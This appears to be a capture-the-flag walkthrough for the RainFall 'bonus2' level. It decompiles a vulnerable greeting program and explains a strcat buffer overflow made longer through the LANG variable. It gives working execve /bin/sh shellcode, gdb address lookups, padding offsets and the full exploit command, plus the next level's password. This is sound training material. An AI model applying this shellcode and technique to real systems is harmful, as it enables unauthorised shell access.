./bonus2

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   No PIE        No RPATH   No RUNPATH   /home/user/bonus2/bonus2

bonus2@RainFall:~$
```

Decompiled file with ***Ghidra***:

```c
int language = 0;

int greetuser(char *name)
{
    char greeting[76];

    if (language == 1)
        strcpy(greeting, "Goedemiddag! ");
    else if (language == 2)
        strcpy(greeting, "Hyvää päivää ");
    else if (language == 0)
        strcpy(greeting, "Hello ");

    strcat(greeting, name);

    return puts(greeting);
}

int main(int argc, char **argv)
{
    char buffer1[40];
    char buffer2[32];

    if (argc != 3)
        return 1;

    strncpy(buffer1, argv[1], 40);
    strncpy(buffer2, argv[2], 32);

    char *lang_ptr = getenv("LANG");
    if (lang_ptr)
    {
        if (memcmp(lang_ptr, "fi", 2) == 0)
            language = 1;
        else if (memcmp(lang_ptr, "nl", 2) == 0)
            language = 2;
    }
    return greetuser(buffer1);
}
```

./bonus2²

In this program, **argv[1]** is copied to **buffer1[40]** and limited to 40 characters, preventing *buffer overflow*. Similarly, **argv[2]** is safely copied to **buffer2[32]**. The program reads the **LANG** *environment variable*.

After copying, the program enters another function that checks the **LANG** variable and then appends a greeting to our first **buffer** with unsafe **strcat**.

For an *overflow*, the **first argument** must be a minimum of 40 characters so that no **null-terminator** is copied to **buffer1**, thus merging **buffer1** and **buffer2**.

Then we need to find the offset for the second overflow:

```
0x08006241 in ?? ()
```

An issue arises here: a *segmentation fault* occurs, but only 2 bytes of the **EIP** register are **overwritten**. This is because the combined size of **buffer1** and **buffer2** is 72 bytes. When a 6-byte string is appended, the total reaches 78 bytes, causing a 2-byte overflow on the 76-byte greeting buffer.

For a successful exploit, we need to overwrite 4 bytes. This can be achieved by manipulating the **LANG** variable. If **LANG** starts with **nl** or **fi**, the greeting string's length becomes 13. Thus, 40 + 32 + 13 = 85, more than enough to cause a full overflow.

The actual overflow occurs earlier by 76 - 13 - 40 = 23 bytes. Thus, we should add a padding of 23 bytes before inserting our exploit address, which will point to our malicious code in the **LANG** variable:

```
bonus2@RainFall:~$ export LANG=$(python -c 'print "nl" + "\x31\xc9\xf7\xe1\x51\
        x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')

bonus2@RainFall:~$  exec env - LANG=$LANG gdb -ex 'unset env LINES' -ex 'unset
                    env COLUMNS' --args ./bonus2
(gdb) break getenv
Breakpoint 1 at 0x8048380
(gdb) run A A
Starting program: /home/user/bonus2/bonus2 A A

Breakpoint 1, 0xb7e5e1d0 in getenv () from /lib/i386-linux-gnu/libc.so.6
(gdb) finish
Run till exit from #0  0xb7e5e1d0 in getenv () from /lib/i386-linux-gnu/libc.so.6
0x080485ab in main ()
(gdb) x/16wx $eax
0xbfffffb5:     0xc9316c6e      0x6851e1f7      0x68732f2f      0x69622f68
0xbfffffc5:     0xb0e3896e      0x0080cd0b      0x3d445750      0x6d6f682f
0xbfffffd5:     0x73752f65      0x622f7265      0x73756e6f      0x682f0032
0xbfffffe5:     0x2f656d6f      0x72657375      0x6e6f622f      0x2f327375
```

Here's the exploit address, 0xbfffffb5 + 2, which is 0xbfffffb7.

./bonus2[3]

As in bonus0, to align our exploit with **gdb**'s conditions, we need to run the **executable** in a clean environment, using its *absolute path* (since **gdb** accesses executables like that). We also have to set the **PWD** variable ourselves, given that **gdb** sets it even when the environment is empty

```
bonus2@RainFall:~$ env - LANG=$LANG PWD=$PWD ~/bonus2
$(python -c 'print "A"*40') $(python -c 'print "A"*23 + "\xb7\xff\xff\xbf"')
<<< "cd ../bonus3 && cat .pass"

Goedemiddag! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA□□□□
71d449df0f960b36e0055eb58c14d0f5d0ddc0b35328d657f91cf0df15910587

bonus2@RainFall:~$ su bonus3
Password: 71d449df0f960b36e0055eb58c14d0f5d0ddc0b35328d657f91cf0df15910587

bonus3@RainFall:~$
```